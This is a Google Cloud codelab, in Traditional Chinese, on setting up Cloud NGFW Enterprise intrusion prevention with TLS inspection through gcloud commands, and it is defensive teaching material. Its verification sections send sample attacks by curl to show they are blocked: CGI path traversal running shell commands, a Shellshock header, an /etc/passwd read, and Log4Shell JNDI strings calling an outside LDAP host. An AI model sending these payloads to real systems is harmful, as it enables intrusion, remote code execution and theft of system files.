Cloud NGFW Enterprise 程式碼研究室 [與 TLS 檢查]

1. 簡介

Cloud 新一代防火牆 (NGFW)

Cloud Next Generation Firewall 是完全分散式防火牆服務,提供進階防護功能、微區隔和全面涵蓋,可保護 Google Cloud 工作負載不受內外部攻擊的侵擾。

Cloud NGFW 具備下列優點:

  • 分散式防火牆服務:Cloud NGFW 會為每個工作負載提供有狀態的完全分散式主機強制執行機制,以便採用零信任安全架構。
  • 簡化設定和部署:Cloud NGFW 實作可連接至資源階層節點的網路和階層式防火牆政策。這些政策可在 Google Cloud 資源階層中提供一致的防火牆體驗。
  • 精細的控制與微分段:結合防火牆政策以及身分與存取權管理 (IAM) 管理標記,可讓您精細控管虛擬私有雲 (VPC) 網路和組織中,向南方與東向的傳送,到單一 VM 的流量。

Cloud NGFW 適用於下列級別:

  • Cloud Next Generation Firewall 入門指南
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise 將第 7 層功能的入侵預防服務 (IPS) 加入分散式 Google Cloud 防火牆架構。支援 TLS 檢查功能,可檢查 TLS 加密流量。

您現在可以部署可靠的第 7 層次世代防火牆 (NGFW) 檢查功能,並透過精細的控管機制進行設定,無須變更網路架構或路由設定。

如要啟用並部署第 7 層防火牆控制機制 (含 IPS),您必須執行下列工作:

  • 建立一組 Google Cloud 代管的區域防火牆端點。
  • 視需要建立 TLS 檢查政策。
  • 視需要建立信任設定。
  • 將這些端點與需要 Cloud NGFW Enterprise 服務的虛擬私有雲網路建立關聯。
  • 只要簡單修改現有的防火牆政策和防火牆規則,即可為各種流量路徑指定威脅防範設定檔。

網路防火牆政策

網路防火牆政策可做為防火牆規則的容器。政策與虛擬私有雲端網路建立關聯之前,網路防火牆政策中定義的規則不會在任何地方強制執行。每個 VPC 網路可與一項網路防火牆政策建立關聯。網路防火牆政策支援防火牆規則中的 IAM 管制標記 (或簡稱標記),可取代目前的網路標記,並用於為工作負載提供身分。

在多個網路之間共用網路防火牆政策,並與 IAM 控管的標記整合,可大幅簡化防火牆的設定和管理作業。

隨著網路防火牆政策推出,Google Cloud 的防火牆政策現在包含以下元件:

  1. 階層式防火牆政策
  2. 虛擬私有雲防火牆規則
  3. 網路防火牆政策 ( 全域區域)

資源階層中的機構和資料夾節點支援階層式防火牆政策,而虛擬私有雲防火牆規則和網路防火牆政策則會套用至虛擬私有雲層級。虛擬私有雲防火牆規則和網路防火牆政策之間最大的差異在於,虛擬私有雲防火牆規則只能套用至單一 VPC 網路,而網路防火牆政策則可連結至單一 VPC 或一組 VPC,並享有批次更新等其他優點。

最後,我們還有每個虛擬私有雲網路都具備的隱含防火牆規則

  • 輸出規則,其動作允許,目的地為 0.0.0.0/0
  • 動作為拒絕、來源為 0.0.0.0/0 的輸入規則

根據預設,強制執行順序如下圖所示:

21b3bcabc469ffe.png

請注意,虛擬私有雲防火牆規則和全域網路防火牆政策之間的執行順序可以互換。客戶可以隨時使用 gcloud 指令指定執行順序。

標記

新的整合於網路防火牆政策規則的標記,是在 Google Cloud 資源階層的機構或專案層級定義的鍵/值組合資源。這類標記包含 IAM 存取控管機制,可指定哪些使用者可對標記執行哪些操作。舉例來說,身分與存取權管理 (IAM) 權限可讓您指定哪些主體可以為標記指派值,以及哪些主體可以將標記附加至資源。如果網路防火牆規則參照標記,該標記必須套用至資源,才能強制執行。

標記會遵循 Google Cloud 的繼承資源模型,也就是說,標記及其值會從父項沿著階層傳遞。因此,您可以在單一位置建立標記,然後讓其他資料夾和專案在整個資源階層中使用。如要進一步瞭解標記和存取權限制,請參閱這個頁面

請勿將標記與網路標記混淆。後者是可新增至 Compute Engine 執行個體的字串,與執行個體相關聯,並會在執行個體停用時消失。虛擬私有雲防火牆規則可能包含網路標記,但這類標記不視為雲端資源,因此不受 IAM 存取權控管限制。

請注意,本文件中會交替使用標記和受 IAM 控管的標記。

建構項目

這個程式碼研究室需要單一專案,以及建立虛擬私有雲網路,以及管理多個網路和安全性資源的能力。這篇文章將說明 Cloud NGFW Enterprise 如何透過以下方式提供 IPS 功能:

  • 使用 TLS 檢查功能檢查北向網路流量
  • 使用 TLS 檢查功能檢查虛擬私有雲內部流量 [東西]

系統會使用 5 個元組 (來源 IP、目的地 IP、通訊協定、來源通訊埠、目的地通訊埠) 和標記等 Cloud Firewall 比對參數,選取要檢查的流量。

3d0f288d3b92a295.png

網路防火牆政策規則集的結束狀態與下表類似:

優先順序

方向

目標

資料來源

目標位置

動作

類型

100

輸入

Server_Tag

健康狀態檢查

不限

允許

Essentials

200

輸入

Client_Tag、Server_Tag

IAP

不限

允許

Essentials

800

輸入

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 檢查

Enterprise

850

輸出

Client_Tag

不限

10.0.0.0/24

允許

Essentials

900

輸出

Client_Tag

不限

不限

L7 檢查

Enterprise

課程內容

  • 如何建立網路防火牆政策。
  • 如何建立及使用網路防火牆政策的標記。
  • 如何設定及使用 Cloud NGFW Enterprise 搭配 TLS 檢查功能。

軟硬體需求

  • 存取 Google Cloud 專案
  • 瞭解如何部署執行個體及設定網路元件。
  • 瞭解 VPC 防火牆設定。

2. 事前準備

建立/更新變數

本程式碼研究室會使用 $variables 協助在 Cloud Shell 中實作 gcloud 設定。

在 Cloud Shell 中執行下列指令,並視需要替換方括號內的資訊:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. 啟用 API

如果尚未啟用 API,請按照下列步驟操作:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise 端點建立作業

由於 Cloud NGFW Enterprise 端點的建立作業需要約 20 分鐘,因此系統會先建立端點,並在建立端點的同時進行基本設定。

建立安全性設定檔和安全性設定檔群組:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

預期輸出內容:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

確認資源已成功建立:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

預期輸出內容 (請注意,輸出格式可能會因使用的用戶端而異):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

建立 Cloud NGFW Enterprise 端點:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

執行下列指令,確認正在建立端點 (CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期輸出內容 (請注意,輸出格式可能會因使用的用戶端而異):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

您也可以執行下列指令來瞭解詳情:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

預期輸出內容:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

建立程序大約需要 20 分鐘。請繼續前往「基本設定」部分,並同時建立必要資源。

5. 基本設定

虛擬私有雲網路和子網路

虛擬私有雲網路和子網路

建立虛擬私有雲網路和子網路:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

建立 Cloud Router 和 Cloud NAT 閘道:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

執行個體

建立用戶端和網路伺服器執行個體:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

專案層級標記

視需要將 tagAdmin 權限指派給使用者:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

建立專案層級的標記鍵和值:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

將標記繫結至執行個體:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全域網路防火牆政策

建立全域網路防火牆政策:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

建立必要的 Cloud Firewall Essential 規則,允許來自健康狀態檢查識別功能 Proxy範圍的流量:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

建立必要的 Cloud 防火牆規則,允許來自特定範圍的東西向/子網路內流量 (這些規則會更新,以便啟用 Cloud NGFW Enterprise 搭配 TLS 檢查):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

將雲端防火牆政策連結至虛擬私有雲網路:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall 端點關聯

如果您尚未定義環境變數,或者偏好使用指令碼方法,請定義環境變數。

確認 Cloud 防火牆端點建立作業已成功完成。只有在狀態顯示為 ACTIVE 時,才會繼續作業 (建立期間的預期狀態為「建立中」):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期的輸出內容 (請注意,輸出格式可能因使用的用戶端而異):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

您也可以執行下列指令來瞭解詳情:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

預期輸出內容:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

將 Cloud Firewall 端點連結至 VPC 網路:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

關聯程序大約需要 10 分鐘。只有在狀態顯示為「ACTIVE」時,才繼續進行 TLS 部分 (在建立期間,預期狀態為「CREATING」):

gcloud network-security firewall-endpoint-associations list

完成後的預期輸出內容:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

您也可以執行下列指令,取得更多詳細資料:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

預期輸出內容:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. 設定 TLS 資源

建立 CA 集區。這個資源將用於儲存我們為 NGFW Enterprise 產生的根 CA 憑證。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

建立根 CA。這是 CA 憑證,將用於透過 NGFW Enterprise 簽署要求的其他憑證。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

如果系統顯示下方訊息,請回答「y」

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

建立服務帳戶。這個服務帳戶將用於為 NGFW Enterprise 要求憑證:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

設定服務帳戶的 IAM 權限:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

建立 TLS 政策 YAML 檔案。這個檔案會包含特定資源的相關資訊:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

匯入 TLS 檢查政策:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

更新端點關聯以啟用 TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

取得 CA 憑證,並將其新增至用戶端的 CA 存放區:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

將 CA 憑證轉移至用戶端:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

透過 SSH 連線至 VM,將 CA 憑證移至 /usr/local/share/ca-certificates,然後更新 CA 儲存庫:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

退出並返回 Cloud Shell。

伺服器憑證簽署程序:

在 Cloud Shell 中,使用 pip 指令安裝 Pyca 密碼編譯程式庫:

pip install --user "cryptography>=2.2.0"

如要讓 Google Cloud SDK 使用 Pyca 密碼編譯程式庫,您必須啟用網站套件。

export CLOUDSDK_PYTHON_SITEPACKAGES=1

建立伺服器憑證:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

這樣一來,系統就會在 Cloud Shell 中產生 cert.pem 和 key.pem 檔案。接著,將憑證和金鑰轉移至伺服器。

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

透過 SSH 連線至伺服器,更新 Apache 的憑證詳細資料:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

將憑證和金鑰移至特定資料夾:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

更新 SSL 設定以使用已簽署的憑證:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

重新啟動 Apache:

sudo systemctl restart apache2

驗證 Apache 狀態:

sudo systemctl status apache2

應處於啟用 (執行) 狀態。

結束 VM 並繼續使用 Cloud Shell。

8. 驗證北向和東西向連線

在 Cloud Shell 中執行下列指令,並記下要使用的目標 IP:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

開啟新的分頁,並透過 IAP 啟動與用戶端 VM 的 SSH 連線 (您必須在新分頁中定義變數):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

執行下列指令,並記下要使用的目標 IP。建立變數,將方括號內的值替換為上一個步驟中記下的 IP,並確認這些 IP 可供存取:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

使用 Curl 檢查私人 IP,確認可供存取:

curl https://$target_privateip --max-time 2

curl 要求的預期結果:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

向 IP 傳送攻擊範例。網路伺服器應回應所有要求,確認沒有 L7 檢查/防護措施:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

預期結果範例 (私人 IP):

400
404
400
200
200

同樣地,傳送要求至網際網路目的地:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

預期結果範例 (網際網路目的地):

400
404
400
403
403

退出 VM 終端機,並返回 Cloud Shell。

9. 建立及更新 TLS 檢查的防火牆規則

先前我們已設定防火牆規則,允許從內部子網路傳入伺服器的流量。我們現在會更新現有的入站規則,並將動作設為 apply_security_profile_group。這會啟用 E/W L7 檢查功能,並使用 TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

建立新規則,以便使用 TLS 檢查北向 L7 檢查。

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

建立新規則,允許 E/W 的 EGRESS 以避免重複檢查。

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. 驗證北向 TLS 檢查

切換回用戶端 VM 分頁或重新連線:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

將範例攻擊傳送至網際網路目的地:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

系統不會收到任何回應,這與預期的輸出結果一致,也證實系統現在已封鎖這些攻擊範例:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

將變數設為先前的伺服器 IP:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

將 TLS 要求範例傳送至伺服器:

curl https://$target_privateip --max-time 2

預期輸出內容:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

為什麼這項要求會失敗?這是因為防火牆會接收來自不受信任伺服器的憑證。在這種情況下,它會將自行簽署的憑證傳回給用戶端。我們需要將 CA 憑證新增至信任設定,才能啟用信任。

返回 Cloud Shell。

11. 設定信任設定

取得根 CA 憑證,將其設為格式正確的變數。

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

設定 Trust 設定 YAML 檔案。這個檔案包含 CA 憑證等信任詳細資料:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

由於伺服器憑證是使用根 CA 簽署,因此上述指令會將根 CA 憑證納入信任存放區。這表示防火牆會信任收到的所有憑證,前提是這些憑證是由根 CA 簽署 (如果 TLS 政策已將 excludePublicCaSet 設為 false 的話,則不包括公開 CA)。

檢查信任設定的內容。

cat trust_config.yaml 

輸出範例:

請特別注意憑證的縮排對齊方式。必須完全符合此格式。

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

匯入信任設定:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

更新 TLS 政策 YAML 檔案,加入信任設定:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

匯入更新過的 TLS 政策:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. 驗證 E/W TLS 檢查

透過 SSH 傳回用戶端,以便使用更新後的信任設定測試 E/W 流量:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

對伺服器執行以下傳輸層安全標準 (TLS) 要求範例:

curl https://$target_privateip --max-time 2

如果仍收到以下輸出內容,請等待更新內容傳播。

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

預期輸出內容:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

傳送惡意測試流量至伺服器:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

預期輸出內容:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

系統不會收到任何回應,這與預期的輸出結果一致,也證實系統現在會封鎖 E/W 的攻擊範例。

13. 記錄

